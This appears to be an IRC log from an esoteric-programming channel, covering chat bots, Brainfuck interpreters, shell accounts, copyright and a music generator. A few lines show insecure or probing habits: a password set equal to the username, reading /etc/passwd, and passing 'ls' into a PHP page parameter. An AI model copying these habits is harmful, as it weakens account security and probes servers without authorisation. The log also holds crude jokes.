07:58:44 <Warrigal> !echo http://normish.org/Warrigal/dodadodidi/arson.txt
07:58:45 <EgoBot> David slowed his pace slightly as his ears,
07:59:14 -!- kar8nga has quit (Remote closed the connection).
07:59:44 -!- Warrigal has set topic: David slowed his pace slightly as his ears, | http://tunes.org/~nef/logs/esoteric/?C=N;O=D.
07:59:59 -!- clog has quit (ended).
08:00:00 -!- clog has joined.
08:00:30 <immibis> how can i get a normish account?
08:02:35 <immibis> are you by any chance in charge of it since the links on the homepage seem to link to /ihope/...
08:03:22 <Warrigal> I don't see any links on the homepage that link to /ihope/....
08:04:01 <Warrigal> Anyway, you now have an account, username immibis, password immibis.
08:04:05 <Warrigal> I suggest that you change your password.
08:08:34 -!- BeholdMyGlory has quit (Remote closed the connection).
08:08:37 <immibis> Warrigal - script error: /usr/bin/nomic/rtbls/activate_me line 18. KeyError: 'immibis'
08:08:51 -!- BeholdMyGlory has joined.
08:10:10 <immibis> how can i see the contents of a proposal?
08:11:06 <Warrigal> immibis: that KeyError should be gone.
08:11:18 <Warrigal> LOOK proposer proposalname should do it.
08:12:15 <Warrigal> You know, having the ability to give away shell accounts is pretty cool.
08:12:53 * Warrigal counts the directories in /home and figures we have about 20 users.
08:13:33 * immibis looks in /etc/passwd and figures you have exactly 20 users
08:14:30 <immibis> but the actual passwords are in /etc/shadow
08:14:37 <immibis> and only accessible to root
08:14:46 <immibis> these days /etc/passwd only has user information
08:14:49 <Warrigal> How did you figure that from /etc/passwd, I mean.
08:14:56 <Warrigal> !echo http://normish.org/root/dev
08:14:57 <EgoBot> <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
08:15:10 <immibis> well the actual users start at id 1001 and go to 1020
08:15:46 <immibis> although ls /home | wc -l gets 21
08:15:57 <immibis> someone's got a weird user id
08:16:00 <Warrigal> /home/pennmush is not an actual user's home directory.
08:16:17 <Warrigal> !echo http://normish.org/ihope/fun.php?Link1=ls
08:16:59 <Warrigal> !echo http://normish.org/ihope/fun.php?Link1=http://en.wikipedia.org/
08:17:01 <EgoBot> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
08:17:20 <Warrigal> !echo http://normish.org/ihope/fun.php?Link1=http://freefall.purrsia.com/
08:17:44 <EgoBot> userinterps: Users can add interpreters written in any of the languages in !help languages. See !help addinterp, delinterp, show | !userinterps. List interpreters added with !addinterp.
08:17:49 <EgoBot> That is not a user interpreter!
08:17:55 <EgoBot> Installed user interpreters: aol austro b1ff bc bct bfbignum brit brooklyn chef chiqrsx9p choo cockney dc drawl dubya echo ehird fudd google graph gregor hello jethro kraut num ook pansy pirate plot postmodern postmodern_aoler redneck rot13 sadbf slashes swedish valspeak warez yodawg
08:18:04 <EgoBot> addinterp: !addinterp <name> <language> <code>. Add a new interpreter to EgoBot. This interpreter will be run once every time you type !<name> <subcode>, and receive the program code as input.
08:18:16 <immibis> !addinterp ctcp bf +.,[.,]+.
08:18:17 <EgoBot> Interpreter ctcp installed.
08:18:28 <EgoBot> languages: Esoteric: 1l 2l adjust asm axo bch befunge befunge98 bf bf8 bf16 bf32 boolfuck cintercal clcintercal dimensifuck glass glypho kipple lambda lazyk linguine malbolge pbrain perl qbf rail rhotor sadol sceql trigger udage01 underload unlambda whirl. Competitive: bfjoust fyb. Other: asm c cxx forth sh.
08:18:45 <immibis> why do my ctcp command attempts always fail?
08:18:56 <immibis> !ctcp ACTION says hi to myndzi.
08:18:56 <Warrigal> That one succeeded, didn't it?
08:18:56 <EgoBot> <CTCP>ACTION says hi to myndzi.
08:19:09 <oerjan> immibis: um when did it fail?
08:19:11 <immibis> it's ignoring the last character, at least here.
08:19:21 <Warrigal> 03:18 < immibis> !ctcp ACTION says hi
08:19:22 <immibis> myndzi's script isn't though
08:19:23 <immibis> [19:18] * EgoBot says hi to myndzi
08:19:29 <immibis> [19:18] * myndzi says hi to EgoBot.
08:20:27 <oerjan> anyway one issue may be that your final \1 is probably after the final newline
08:20:41 <EgoBot> Interpreter ctcp deleted.
08:20:44 <oerjan> so it is likely to be left out
08:20:56 <immibis> !addinterp ctcp bf +.,----------[++++++++++.,----------]+.
08:20:57 <EgoBot> Interpreter ctcp installed.
08:21:26 <immibis> does it still have daemons
08:22:42 * Warrigal notices that he's receiving DCC CHAT requests.
08:23:16 <EgoBot> daemon: !daemon <name> <language> <code>. Add a daemon to EgoBot. A daemon will run in the background, and accept a line of input every time !<name> <input> is run. Note that daemons are only allotted one line of output for each line of input.
08:23:40 <immibis> !addinterp stuff bf +.++++++++++.++++++++++++++++++++.--------------------
08:23:40 <EgoBot> Interpreter stuff installed.
08:24:21 <immibis> !addinterp stuff bf >+++++<++++++++++>[<.++++++++++++++++++++.-------------------->]
08:24:22 <EgoBot> There is already an interpreter for stuff!
08:24:26 <EgoBot> Interpreter stuff deleted.
08:24:28 <immibis> !addinterp stuff bf >+++++<++++++++++>[<.++++++++++++++++++++.-------------------->]
08:24:29 <EgoBot> Interpreter stuff installed.
08:25:05 <immibis> that just dcc-chat-spammed me with maybe fifty empty lines
08:25:09 <EgoBot> Interpreter stuff deleted.
08:25:27 <immibis> !daemon echo_channel bf ,[.,]
08:25:42 <EgoBot> daemons: !daemons. List running daemons.
08:25:48 -!- MigoMipo has joined.
08:27:44 <immibis> !addinterp reverse bf ,[>,]<[.[-]<]
08:27:45 <EgoBot> Interpreter reverse installed.
08:28:01 <EgoBot> Interpreter reverse deleted.
08:28:17 <immibis> !addinterp reverse bf ,----------[++++++++++>,----------]<[.[-]<]
08:28:18 <EgoBot> Interpreter reverse installed.
08:33:40 <EgoBot> 72 ++++++++++[>+++++++++>+++++++++++>+>+<<<<-]>++++.>++++.<+++++++.>++++.>. [248]
08:35:42 <fizzie> From "!bf_txtgen ^rev" the first thought that came to my mind was MS-Office's Clippy saying "You appear to be writing a botloop. Would you like some help with that?"
08:35:50 <fizzie> Incidentally, fungot's ignoring EgoBot anyway.
08:35:50 <fungot> fizzie: oh these are the 133 people survived out of anyone else? o.o hes good if he were going to be a tomboy and she never will. if you would get and i
08:36:20 <fungot> ^<lang> <code>; ^def <command> <lang> <code>; ^show [command]; lang=bf/ul, code=text/str:N; ^str 0-9 get/set/add [text]; ^style [style]; ^bool
08:36:45 <fungot> Available: agora alice c64 darwin discworld europarl ff7 fisher ic irc jargon lovecraft nethack pa speeches ss wp youtube*
08:36:49 <fizzie> I think it was oklopol who wanted a coin-flipper.
08:36:58 <fungot> Selected style: nethack (NetHack 3.4.3 data.base, rumors.tru, rumors.fal)
08:37:08 <fungot> immibis: all monsters are created evil, thieves' guilds, syndicates and similar organisations. this feline predator ( _panthera onca_) is the power of wading through the depths of the dead, air and wind, odin rides through the air. according to zarathustra, is described in snorri's _edda_ as being " pleasing and handsome in appearance, they fly from us. we've got brains. we are fools" ( aesop's fables)
08:37:22 <fungot> Selected style: irc (IRC logs of freenode/#esoteric, freenode/#scheme and ircnet/#douglasadams)
08:37:27 <fungot> immibis: ein volk ein fnord ein führer...)
08:37:40 <immibis> fungot, i have no idea what you just said
08:37:41 <fungot> immibis: hm. i think.)
08:37:53 <immibis> fungot, you don't think, therefore you aren't.
08:37:54 <fungot> immibis: i saw a ghost in the shell
08:38:13 <immibis> why does apt-get --help say "This APT has Super Cow Powers"?
08:38:34 <fizzie> It means you can do "apt-get moo".
08:38:59 <immibis> fungot, have you mooed today?
08:39:06 <immibis> fungot, have you mooed today?
08:39:38 <fizzie> Oh, the chat-function also answers up to 4 successive comments from any one person.
08:40:04 <fizzie> Anyway, with aptitude you can do:
08:40:05 <fizzie> htkallas@pc112:~$ aptitude moo
08:40:05 <fizzie> There are no Easter Eggs in this program.
08:40:05 <fizzie> htkallas@pc112:~$ aptitude -v moo
08:40:06 <fizzie> There really are no Easter Eggs in this program.
08:40:06 <fizzie> htkallas@pc112:~$ aptitude -v -v moo
08:40:08 <fizzie> Didn't I already tell you that there are no Easter Eggs in this program?
08:40:17 -!- immibis_ has joined.
08:40:32 <fizzie> Time to go find some lurch.
08:40:38 -!- immibis_ has quit (Remote closed the connection).
08:42:52 <immibis> for some reason, in bash i can "exec 5<><(cat xyz)" then "echo hi >&5". "cat <&5" will then display "hi" without altering the file "xyz".
08:43:14 <augur> the cat is after the fish oh noes
08:47:06 <oerjan> http://www.irregularwebcomic.net/758.html
08:48:02 -!- oerjan has quit ("Later").
09:00:06 -!- ais523 has joined.
09:00:07 -!- immibis_ has joined.
09:00:10 -!- immibis_ has quit (Remote closed the connection).
09:00:24 <ais523> immibis_: that was sudden...
09:11:53 -!- BeholdMyGlory_ has joined.
09:12:55 -!- BeholdMyGlory has quit (Nick collision from services.).
09:13:00 -!- BeholdMyGlory_ has changed nick to BeholdMyGlory.
09:20:32 -!- tetha has quit (Nick collision from services.).
09:20:41 -!- tetha has joined.
09:39:00 -!- Judofyr has joined.
10:04:01 -!- upyr[emacs] has joined.
10:38:00 -!- Bthis has joined.
10:38:41 -!- Bthis has left (?).
10:44:34 -!- MigoMipo has quit ("QuitIRCServerException: MigoMipo disconnected from IRC Server").
10:56:17 -!- ais523 has quit (Remote closed the connection).
11:02:02 -!- Corun has joined.
11:04:46 -!- GreaseMonkey has quit ("YES -> thor-ainor.it <- THIS IS *DELICIOUS*!").
11:20:36 -!- Slereah has quit.
11:20:52 -!- Slereah has joined.
11:21:45 -!- Corun has quit (Connection timed out).
12:04:00 -!- Hiato has joined.
12:05:06 -!- ais523 has joined.
13:05:25 -!- pikhq has joined.
13:11:31 -!- upyr[emacs] has quit (Remote closed the connection).
13:12:02 -!- upyr[emacs] has joined.
13:23:17 -!- Corun has joined.
13:32:33 -!- pikhq has quit (Read error: 104 (Connection reset by peer)).
13:32:55 -!- Corun has quit (Remote closed the connection).
13:33:57 -!- Corun has joined.
13:37:49 -!- pikhq has joined.
13:38:39 -!- pikhq has quit (Read error: 104 (Connection reset by peer)).
13:40:43 -!- ais523 has quit (Remote closed the connection).
13:42:54 -!- pikhq has joined.
13:56:01 -!- Hiato has quit ("Leaving").
14:03:51 -!- MigoMipo has joined.
14:16:00 -!- oerjan has joined.
14:25:04 -!- Judofyr has quit ("raise Hand, 'wave'").
14:29:02 -!- MigoMipo has quit ("http://www.mibbit.com ajax IRC Client").
14:29:41 -!- MigoMipo has joined.
14:46:59 -!- Wooble has joined.
14:48:03 -!- iEhird has joined.
14:48:39 <iEhird> opera freedom is web server in a browser. I guessed!
14:48:45 -!- iEhird has quit (Remote closed the connection).
14:50:16 -!- MigoMipo has quit ("http://www.mibbit.com ajax IRC Client").
14:58:24 -!- oerjan has quit ("leaving").
15:00:10 -!- Sgeo has joined.
15:08:10 -!- whtspc has joined.
15:37:16 -!- pikhq has quit (Read error: 104 (Connection reset by peer)).
15:44:18 -!- pikhq has joined.
15:55:06 <pikhq> Connection via satellite in a storm -- great, isn't it?
16:01:26 -!- GregorR-L has joined.
16:02:06 <whtspc> Oerjan wrote an interpreter for ferNANDo, now I'm not familiar with Haskell
16:02:33 <whtspc> I can use the interpreter by writing :main
16:02:49 -!- GregorR-L has set topic: David slowed his pace slightly as his ears EXPLODED | http://tunes.org/~nef/logs/esoteric/?C=N;O=D.
16:03:47 <whtspc> can someone tell what's the command to load an external ferNANDo program in the IDE
16:05:02 -!- GregorR-L has set topic: David slowed his pace slightly as his ears EXPLODED. "Ouch," he sputtered. He quickly regained his running stride as the pirate alligator bear mutants waddled after him. | http://tunes.org/~nef/logs/esoteric/?C=N;O=D.
16:11:27 -!- kar8nga has joined.
16:19:16 -!- tombom has joined.
16:20:57 <AnMaster> pikhq, I thought you had dialup?
16:21:08 <pikhq> AnMaster: Not any more.
16:21:20 <pikhq> Satellite Internet now.
16:24:12 -!- kar8nga has quit (Remote closed the connection).
16:24:38 <GregorR-L> I shall now cause the universe to collapse.
16:24:51 <GregorR-L> All your badgers are belong on a boat, motherfucker!
16:46:26 -!- inurinternet has quit (Connection timed out).
16:57:37 -!- inurinternet has joined.
17:14:01 <GregorR-L> so i herd u liek all your badgers badgers badgers are belong on a boat, motherfucker!
17:18:14 <AnMaster> GregorR, is the "belong on a boat" bit a meme?
17:18:52 <AnMaster> I can see at least 3 other memes there
17:20:15 <AnMaster> I still don't see where the "boat" bit comes into it
17:20:56 -!- whtspc has quit ("ChatZilla 0.9.84 [Firefox 3.0.11/2009060215]").
17:27:36 -!- oerjan has joined.
17:28:08 <oerjan> Warrigal: is the topic accurate?
17:28:44 <pikhq> I'm tired of these motherfucking Gregors on that motherfucking boat!
17:29:35 <GregorR-L> (/me couldn't find a way to sparta that up)
17:29:49 <oerjan> <whtspc> can someone tell what's the command to load an external ferNANDo program in the IDE
17:29:59 <oerjan> hm, i didn't put in an option for that
17:30:26 <GregorR-L> so i herd u liek all your motherfuckin' badgers badgers badgers are belong on a motherfuckin' boat, bitch!
17:32:46 <GregorR-L> It was a dark and stormy night, and the foul stench of clichés hung in the air.
17:37:52 <oerjan> also, WinHugs is horrible with setting the directory :(
17:38:13 <GregorR-L> "Danny, the little Grizzly cub, frolicked in the tall grass on this sunny Spring morning, his mother keeping a watchful eye as she chewed on a piece of a hiker they had encountered the day before."
17:39:33 * oerjan fixes that in his own setup
17:51:51 <GregorR-L> The small boat pitched violently upon the heaving bosom of the ocean, causing Johnson to reflect that, although he generally liked bosoms, he was getting really tired of the ocean's bosom, and wished that it would at least drop from a 44D to a 34B.
18:01:24 -!- Wooble has left (?).
18:03:23 -!- M0ny has joined.
18:04:45 * oerjan assumes those numbers are feet rather than inches, or perhaps meters
18:06:08 <GregorR-L> so i herd u liek all your motherfuckin' badgers badgers badgers are belong on a motherfuckin' boat, bitch! // help me sparta this up :P
18:08:53 <GregorR-L> so i herd u liek all your motherfuckin' badgers badgers badgers are belong on a motherfuckin' boat, 'cuz THIS! IS! CHOCOLATE! RAIN! ORLY?
18:09:47 <GregorR-L> so i herd ur never gonna give up all your motherfuckin' badgers badgers badgers are belong on a motherfuckin' boat, 'cuz THIS! IS! CHOCOLATE! RAIN! ORLY?
18:16:14 <oerjan> what the heck is karmeldansen
18:18:19 <GregorR-L> The word "'cuz" there doesn't belong to a meme, but I can't fix it.
18:18:36 <GregorR-L> !swedish so i herd ur never gonna give up all your motherfuckin' badgers badgers badgers are belong on a motherfuckin' boat, 'cuz THIS! IS! CHOCOLATE! RAIN! ORLY?
18:18:37 <EgoBot> su i herd ur nefer gunna geefe-a up ell yuoor muzeerffoockeen' bedgers bedgers bedgers ere-a belung oon a muzeerffoockeen' buet, 'cooz THIS! IS! CHOCOLETE! REIN! OoRLY? Bork Bork Bork!
18:24:24 <oerjan> a "swedish" translation that turns a into e rather than the other way around is just _so_ wrong
18:29:30 <GregorR-L> Whereas otherwise it is of course quite accurate :P
18:53:51 -!- kar8nga has joined.
19:11:04 -!- inurinternet has quit (Success).
19:15:03 <lament> i'm going to china next week!
19:15:21 <GregorR-L> myndzi: You really ought to make those figures more child-appropriate.
19:15:36 <lament> yeah that's a little disturbing
19:15:37 <nescience> contrary to popular belief, it's not a penis!
19:15:52 <nescience> it's uh... the end of his belt. hanging down.
19:16:04 <lament> nescience: know orion, the constellation?
19:16:50 <lament> it has an extremely penisy-looking thing, always referred to as "orion's sword"
19:17:14 <oerjan> wait, you were not referring to the belt?
19:17:27 <tetha> shortsword, made for stabbing
19:17:37 <Slereah> http://www.randi.org/site/components/com_virtuemart/shop_image/product/James_Randi_Doll_4925f227c76a1.jpg
19:17:43 <GregorR-L> tetha: It's not the size that matters.
19:17:46 <nescience> any female consatellations in the area with a handy "sheath"? :)
19:17:59 <oerjan> yeah, orion was a mighty hunter *wink* *wink*
19:18:06 <tetha> GregorR-L: in the case of a sword, it does, because longswords are made for slashing and shortswords are made for stabbing :)
19:18:37 <nescience> and halberds are made for EVERYTHING!
19:19:09 <nescience> poke it stab it hook it slash it .... i can't be assed to come up with a bunch more
19:19:23 <tetha> that sounds almost like a line from vaikarauta
19:20:12 <oerjan> there is no such thing as vaikarauta
19:20:14 <tetha> (song by korpiklaani, its about a mighty sword and quite a large part is about stabbing, slashing and murdering things)
19:21:12 <tetha> whoops, it indeed is V\"aikirauta :)
19:22:25 <oerjan> you'd think google would have suggested a correction, but no
19:23:13 <oerjan> i suppose since that still has only 8 hits...
19:23:17 <tetha> hm, it did not for you? that is scary, so google inferred by my youtube-usage that I might mean that thing which occurs in the title of a video I watched some time ago
19:23:42 <nescience> i have korpiklaani somewhere on my mp3 player but i don't think it's got that song.. unsure
19:24:16 <nescience> google has some great stuff, but just the other day i tried to find kayin's heboris video by searching "kayin heboris"
19:24:20 <oerjan> alternatively, google inferred from _my_ usage that i couldn't possibly be interested in black metal or whatever it is
19:24:48 <tetha> I think they call it 'humpa metal', as in 'old people music with electric guitars'
19:24:50 <nescience> google inferred from _my_ usage that i didn't mean captain picard oshi~
19:25:57 <oerjan> those are sperm cells, actually
19:26:07 <Gracenotes> tilde wants to be hardcore but nescience won't let him~
19:27:16 <tetha> oerjan: now combine that with ~ being your home directory
19:28:02 <Gracenotes> ~/.wine/drive_c/Program \Files/virus.exe
19:46:24 -!- tombom has quit ("Peace and Protection 4.22.2").
20:18:42 <ehird> GregorR: let me create a f'in algorhythm anonymously
20:20:53 -!- immibis has quit (Read error: 104 (Connection reset by peer)).
20:21:04 <ehird> 10:16:14 <oerjan> what the heck is karmeldansen
20:21:08 <ehird> ye olde 4chan meme.
20:21:09 <ehird> http://www.youtube.com/watch?v=UX6e7sO1ss0
20:22:19 <ehird> 00:37:27 <fungot> immibis: ein volk ein fnord ein führer...)
20:22:20 <fungot> ehird: but -1 is a whole site. i have to
20:22:43 -!- ehird has set topic: Ein Volk, Ein Fnord, Ein Führer | Ein Brainfuck, Ein INTERCAL, Ein Unlambda | http://tunes.org/~nef/logs/esoteric/?C=N;O=D.
20:23:20 <ehird> AnMaster: not a unique paradigm.
20:23:39 <AnMaster> ehird, are the other one really unique. There are lots of variations of all of them I think?
20:23:42 <ehird> Brainfuck/INTERCAL/Unlambda; Befunge slots into the Brainfuck slot (i.e. imperative)
20:23:46 <ehird> AnMaster: They're the canonical ones.
20:24:08 * oerjan looks up what fnord was originally
20:24:13 <AnMaster> ehird, what is canonical could be debated.
20:24:44 <ehird> AnMaster: Anyone denying that Brainfuck, INTERCAL and Unlambda are the most prominent and canonical imperative, parody and functional esolangs is on crack
20:24:45 <oerjan> hitler really knew his memes
20:25:21 <AnMaster> ehird, in those specific categories it is true
20:25:35 <ehird> AnMaster: And those are the most common categories of esolang.
20:25:38 <AnMaster> but you could argue if those categories are the right ones
20:25:47 <ehird> AnMaster: How many 2D langs are there?
20:25:53 <ehird> Barely any compared to those 3 categories.
20:25:59 <ehird> You're just being contrary for the sake of it.
20:26:01 <AnMaster> ehird, imperative, functional, automatons, rewriting, parody, other
20:26:05 <AnMaster> are the ones I can think of atm
20:26:18 <ehird> There are not many rewriting languages, and they are usually functional-esque.
20:26:32 <ehird> There are not many automatons, and they're usually functional-esque, too, but they're still rare.
20:26:44 <ehird> "other" is a silly category. Of course not everything can be categorized.
20:26:49 <oerjan> INTERCAL is also imperative.
20:27:02 <ehird> oerjan: yes, but there's two common subtypes of imperative esolang
20:27:12 <AnMaster> HQX+ and similar goes into parody however
20:27:12 <ehird> INTERCAL is more about the parody, Brainfuck is more about the tarpit
20:27:29 <oerjan> indeed brainfuck is the tarpit there
20:27:48 <ehird> AnMaster: No it's not.
20:27:53 <oerjan> neither INTERCAL nor unlambda are quite minimalistic, INTERCAL less so
20:27:55 <ehird> Before you say anything, no, it's not.
20:27:58 <AnMaster> ehird, you can drop several of the commands
20:28:06 <ehird> That does not make it unminimalistic.
20:28:07 <AnMaster> http://esolangs.org/wiki/BF_instruction_minimalization
20:28:14 <ehird> That does not make it unminimalistic.
20:29:37 <AnMaster> and I'm talking about minimal here.
20:29:52 <AnMaster> I have no idea why ehird is talking about minimalistic instead
20:29:53 <ehird> AnMaster: No. We said tarpits.
20:29:58 <ehird> You attempted to say Brainfuck was not a tarpit.
20:30:00 <ehird> This is simply wrong.
20:30:08 <ehird> 20:27 oerjan: indeed brainfuck is the tarpit there
20:30:08 <ehird> 20:27 AnMaster: what?
20:30:09 <AnMaster> I said it was a bloated tarpit
20:30:10 <ehird> 20:27 AnMaster: brainfuck is bloated
20:30:19 <ehird> AnMaster: What you said was clearly a challenge of its tarpitness.
20:30:24 <ehird> Otherwise, it would not be "what?".
20:30:27 <Slereah> The article of Schnfinkel on combinators is from 1924
20:30:37 <Slereah> Could you post a link to it on der wiki?
20:30:37 <ehird> All "what?" can mean is expressing confusion at its classification as a tarpit.
20:30:42 <Slereah> It's like copyright free and shit
20:30:56 <oerjan> Slereah: it's a wiki, do it yourself...
20:31:10 <Slereah> I'm asking about permission, not doing
20:31:31 <Slereah> You weren't okay with the Kolmogorov article
20:31:35 <AnMaster> ehird, I was saying "what" at the phrase "the tarpit", not "tarpit"
20:31:39 <oerjan> ours is a liberal wiki
20:31:44 <ehird> AnMaster: In the list of three, duh.
20:31:45 <oerjan> Slereah: um you said _link_
20:32:08 <AnMaster> ehird, I thought he meant as in "the ultimate"
20:32:11 <oerjan> an entire article might be different. but we already have ski/combinator calculus
20:32:27 <oerjan> Slereah: what was wrong about the kolmogorov article again?
20:32:28 <Slereah> Well, I'm not gonna dump a ten page article on the wiki
20:32:37 <Slereah> oerjan : It's still copyrighted, I think
20:33:01 <oerjan> Slereah: links aren't copyrighted even if they point to something that is
20:33:06 <Slereah> Schnfinkel isn't, though I'm not sure about the translation
20:33:26 <ehird> 20:33 oerjan: Slereah: links aren't copyrighted even if they point to something that is
20:33:26 <oerjan> that could be a problem
20:33:33 <ehird> oerjan: see the pirate bay case
20:33:45 <ehird> Graue could, theoretically, be put in prison for linking to copyrighted content.
20:33:58 <ehird> of course, nobody gives a flying fuck because FUCK THAT SHIT
20:34:06 <ehird> oerjan: the intent is to give access to copyrighted content
20:34:08 <ehird> that's pretty obvious
20:34:17 <Slereah> Also Kolmogorov is deaaaaad
20:34:26 <Slereah> Who's gonna sue, his ghost?
20:34:34 <GregorR-L> Slereah: Copyright ends neither with death nor deaaaaath.
20:34:38 <oerjan> ehird: anyway, i'm talking links to copyrighted things that are legally at their site
20:34:52 <Slereah> But who owns the copyright right now?
20:35:26 <oerjan> Slereah: the journal might own it, if not the heirs
20:35:39 <oerjan> it depends on deals made
20:35:58 <oerjan> oh. well it could be complicated.
20:36:38 <GregorR-L> Then The Comrades own the copyright :P
20:36:57 <Slereah> Reference is "Uspehi Mat. Nauk 13"
20:36:58 <ehird> anyway copyright is graue's problem.
20:37:53 <Slereah> But well, I think I'll type the combinator article
20:38:03 <Slereah> It's interesting and not copyrighted
20:38:28 <Slereah> And I'll link it on the combinator page
20:41:32 <pikhq> There's been people accused of breaking the law by linking to someone who linked to someone who linked to someone who linked to DeCSS.
20:42:02 <pikhq> (note: most of the Internet is breaking the law by that notion)
20:42:11 <Slereah> pikhq : What kind of society would we be if we allowed such things?
20:42:22 <pikhq> Slereah: A free one, presumably.
20:42:26 <GregorR-L> http://acme.com/software/thttpd/repo.html
20:44:08 <GregorR-L> (Related to the link-to-a-link-to-a-link concept)
20:44:29 -!- whtspc has joined.
20:45:06 <whtspc> oerjan: thanks, works perfect!
20:47:30 <ehird> or should i say ieae
20:47:59 <ehird> GregorR-L: i love that log
20:48:04 <ehird> it's one of my favourite pieces of internet
20:49:25 <ehird> GregorR-L: i dunno how jef managed to be like that for all the emails
20:49:36 <ehird> as little explanation as possible :D
20:54:06 <whtspc> hi AnMAster, the file import functionality in oerjan's ferNANDo interpreter
20:57:23 <AnMaster> hm. I just started to see the point of wireless devices... Less of a mess. Sadly in this case it were the power cables that were messed up. I guess you could make it wireless by using induction between some sort of sender in the table and a receiver in the device...
20:57:55 -!- oerjan has changed nick to Tesla.
20:57:57 <ehird> "hm. I just started to see the point of wireless devices... Less of a mess. "
20:58:00 <Tesla> Of course you could!
20:58:03 <ehird> huge fucking revelation!
20:58:04 -!- Tesla has changed nick to oerjan.
20:59:22 <AnMaster> ehird, there are downsides. Ever used gbit ethernet so it was fully loaded? I have. Then WLAN seems sluggish
20:59:40 <ehird> WLAN is stupid on a desktop machine.
20:59:52 <ehird> But wired keyboards and mice are gonna die pretty soon if there's any rationality.
21:00:13 <FireFly> [21:55:16] <AnMaster> ferNANDo?
21:00:13 <FireFly> [21:55:19] AnMaster checks wiki
21:00:13 <FireFly> [21:55:32] <AnMaster> ah that was the nand one
21:00:17 <ehird> (I'm looking at you, mr hardcore gamer. No, you cannot move that mouse fast enough and precise enough, and no, you cannot tap those keys fast enough, to overload wireless networks.)
21:00:21 <FireFly> I figured from the name, without having heard of it befare
21:00:25 <AnMaster> ehird, well as a matter of fact the power cable for the tower, the gbit ethernet cable and the power cable for the printer were the ones messed up with each other
21:01:13 <AnMaster> ehird, very true. But there is another downside in that case
21:01:39 <AnMaster> you can't shield them as easily. Remember I'm *paranoid* :P
21:01:48 <AnMaster> (yes there are various reasons why shielding only the cable wouldn't help
21:02:00 <ehird> AnMaster: btw what you're saying now is going unencrypted via your isp
21:02:09 <AnMaster> ehird, so it is. Freenode sucks
21:02:10 <oerjan> AnMaster: we know you're paranoid. we've been watching you.
21:02:22 <ehird> AnMaster: Freenode has SSL too you dipshit.
21:02:40 <AnMaster> because last I checked, a few months ago, they didn't
21:02:42 <ehird> AnMaster: ircs://JustFucking:GoogleIt/
21:03:05 <ehird> because i distinctly recall using ssl years ago
21:03:10 <ehird> GregorR-L: well that's fucking stupid
21:03:24 <pikhq> That's really fucking stupid.
21:04:09 <GregorR-L> Yes, that fact has a lot of sex with the physical incarnation of the concept of stupidity, we've established that.
21:04:15 -!- fizzie has quit (Read error: 60 (Operation timed out)).
21:04:16 <AnMaster> yes, because they use some servers with ips that other people use too. Like http vps on same ip. And then you can't get signed ssl cert for it they said iirc.
21:04:17 -!- fizzie has joined.
21:04:27 <AnMaster> and thus the remaining servers would be overloaded
21:04:34 <ehird> GregorR-L: Anyway, remove the openid requirement on algorhythms.
21:04:40 <ehird> It's irritating when you just want to fuck up a tune.
21:04:42 <GregorR-L> ehird: There is no OpenID requirement.
21:04:49 <pikhq> Then... Put those servers in a different pool?
21:04:55 <ehird> GregorR-L: O RLY? Then why did it yell at me for not giving one?
21:05:00 <ehird> AnMaster: http://codu.org/algorhythms/.
21:05:21 <GregorR-L> ehird: Because I'm an ass. You don't /need/ to log in, it's just recommended :P
21:05:22 <AnMaster> pikhq, lots of people would want it, so they would get overloaded, because *most* ones are such with shared ip
21:05:33 <ehird> GregorR-L: "Authentication error; not a valid OpenID."
21:05:41 <ehird> I'm pretty fucking sure I do need to...
21:05:48 <AnMaster> GregorR-L, did you rename that "masterpiece" thingy?
21:05:54 <ehird> Just two instances.
21:06:02 <GregorR-L> ehird: OK, something is very broken then :P
21:06:08 <ehird> AnMaster: One's for masterpeices, one is for autogeneration.
21:06:17 <ehird> GregorR-L: I wouldn't actually care if I had my domain and shit up :P
21:06:18 <GregorR-L> AnMaster: Masterpiece Machine had a different and unrelated purpose, and I wanted to --- yeah, what ehird said.
21:06:28 <ehird> GregorR-L: Have sex with a goat?
21:06:36 <ehird> Right. It's a desire we all have.
21:06:45 <AnMaster> GregorR-L, ok, can I try it with no login?
21:06:52 <GregorR-L> AnMaster: Wait, that seems broken :P
21:06:55 <ehird> READING COMPREHENSION, AnMaster!
21:07:52 <AnMaster> ehird, writing failure rather. I was intending to say "after you fixed it". As in "do I need some other login if I don't use openid?"
21:08:13 <ehird> AnMaster: Yes. GregorR-L must track your every move so he can rape you. That is the goal of his algorithmic musical generator.
21:08:19 <ehird> Be afraid. Be very afraid.
21:08:33 <ehird> **GregorR-L creeps up on AnMaster**
21:09:02 <GregorR-L> You see, when you generate music, I know you're at home.
21:09:10 <GregorR-L> So I can track when your schedule.
21:10:17 <AnMaster> GregorR, what sort of music will it generate? I mean, I would want it to generate for two violins and one cello
21:10:25 <ehird> AnMaster: You don't get to pick.
21:10:28 <ehird> That's the whole point.
21:10:30 <GregorR-L> AnMaster: Screw your anti-viola ways anyway.
21:10:38 <ehird> (PS I hope you get noise and metal.)
21:10:46 <AnMaster> GregorR-L, well I could add a viola too
21:10:47 <GregorR-L> If you want specific instruments, use a proper MIDI editor :P
21:10:58 <AnMaster> Fatal error: Cannot pass parameter 2 by reference in /var/www/algorhythms/lib/masterpieceAC.php on line 77
21:11:04 <oerjan> concerto in A minor for toothbrush and harmonica
21:11:22 <AnMaster> GregorR-L, I guess you have the details automatically logged on the server
21:11:23 <GregorR-L> Oh, yeah, that was broken by the OpenID problems >_>
21:12:14 <AnMaster> oerjan, I was trying to go for Allegro in C# minor (for small string ensemble)
21:12:33 <ehird> (Meanwhile, people care.)
21:12:55 <AnMaster> GregorR, seems it was generated actually.
21:13:00 <AnMaster> GregorR, there is a dupe now there
21:13:32 <AnMaster> Fatal error: Cannot pass parameter 2 by reference in /var/www/algorhythms/lib/masterpiece.php on line 87
21:14:15 <oerjan> are we approaching a fixpoint?
21:14:16 <AnMaster> GregorR-L, http://codu.org/algorhythms/?mpid=Docilely+Bawdy+Sonata&track=1&s&autocompose
21:14:22 <GregorR-L> Stupid me not paying attention to the no-OpenID stuff :P
21:15:37 <AnMaster> GregorR, also why is http://codu.org/algorhythms/?mpid=Preposterously+Nauseating+Fugue listed under "incomplete" in http://codu.org/algorhythms/?list
21:16:08 <AnMaster> GregorR, or is that yet another bug?
21:16:40 <oerjan> AnMaster: it's not yet nauseating enough
21:17:14 <GregorR-L> AnMaster: That's an old bug, but it's a bug in how it was inserted into the DB, so it's not going to change.
21:17:35 <ehird> GregorR-L: You can change it manually. :p
